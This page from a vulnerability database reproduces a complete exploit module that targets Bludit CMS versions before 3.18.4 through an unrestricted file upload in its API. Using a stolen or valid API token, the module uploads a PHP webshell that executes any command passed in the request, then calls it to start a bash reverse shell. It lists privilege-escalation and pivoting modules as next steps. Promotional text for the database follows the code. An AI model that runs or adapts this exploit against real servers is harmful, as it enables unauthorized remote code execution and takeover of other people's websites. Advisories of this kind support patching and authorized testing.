Lucene search
+L

Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE

🗓️ 12 May 2026 15:30:27Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Authenticated user with a valid API token can upload any file type to Bludit CMS for RCE.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import random
import string

class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE',
        'description': 'Bludit CMS API plugin allows an authenticated user with a valid API token '
                       'to upload files of any type and extension via POST /api/files/<page-key>. '
                       'This module uploads a PHP webshell to achieve Remote Code Execution.',
        'author': 'Yahia Hamza (original script), Kittysploit implementation',
        'references': [
            'CVE-2026-25099',
            'https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip'
        ],
        'platform': Platform.LINUX,
        'arch': [Arch.PHP],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'arch': Arch.PHP,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    token = OptString('', 'Bludit API token', True)

    def get_page_key(self):
        """Retrieve a valid page key from the Bludit API."""
        try:
            r = self.http_request(
                method='GET',
                path='/api/pages',
                params={'token': self.token}
            )
            if r and r.status_code == 200:
                data = r.json()
                if data.get("data") and len(data["data"]) > 0:
                    return data["data"][0]["key"]
        except Exception as e:
            print_debug(f"Failed to retrieve page key: {e}")
        return None

    def upload_shell(self, page_key):
        """Upload a PHP webshell via the unrestricted file upload endpoint."""
        shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
        shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'

        files = {"file": (shell_name, shell_content, "application/x-php")}
        
        try:
            r = self.http_request(
                method='POST',
                path=f'/api/files/{page_key}',
                data={'token': self.token},
                files=files
            )
            
            if r and r.status_code == 200:
                data = r.json()
                if data.get("status") == "0":
                    # Path based on Bludit structure: /bl-content/uploads/pages/<page_key>/<file_name>
                    shell_url = f"/bl-content/uploads/pages/{page_key}/{shell_name}"
                    return shell_url, shell_name
        except Exception as e:
            print_error(f"Upload error: {e}")
        return None, None

    def execute_payload(self, shell_url):
        """Execute the payload via the uploaded webshell."""
        print_status(f"Executing payload...")
        try:
            # self.payload contains the generated payload string (e.g. bash reverse shell command)
            r = self.http_request(
                method='GET',
                path=shell_url,
                params={'cmd': self.payload}
            )
            if r and r.status_code == 200:
                return True
        except Exception as e:
            print_error(f"Payload execution error: {e}")
        return False

    def check(self):
        """Check if target is vulnerable and token is valid."""
        page_key = self.get_page_key()
        if page_key:
            print_success(f"Token is valid. Found page key: {page_key}")
            return True
        return False

    def run(self):
        """Main execution method"""
        print_status("Starting exploit...")
        
        page_key = self.get_page_key()
        if not page_key:
            print_error("Failed to retrieve page key. Check URL and token.")
            return

        print_status(f"Found page key: {page_key}")
        
        shell_url, shell_name = self.upload_shell(page_key)
        if not shell_url:
            print_error("Upload failed.")
            return

        print_success(f"Shell uploaded to: {shell_url}")
        
        # Verify shell is accessible
        r = self.http_request(method='GET', path=shell_url)
        if not r or r.status_code != 200:
            print_error("Shell not accessible at the expected URL.")
            return
            
        print_status("Shell is accessible, executing payload...")
        if self.execute_payload(shell_url):
            print_success("Exploit finished successfully")
        else:
            print_error("Failed to execute payload")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9
3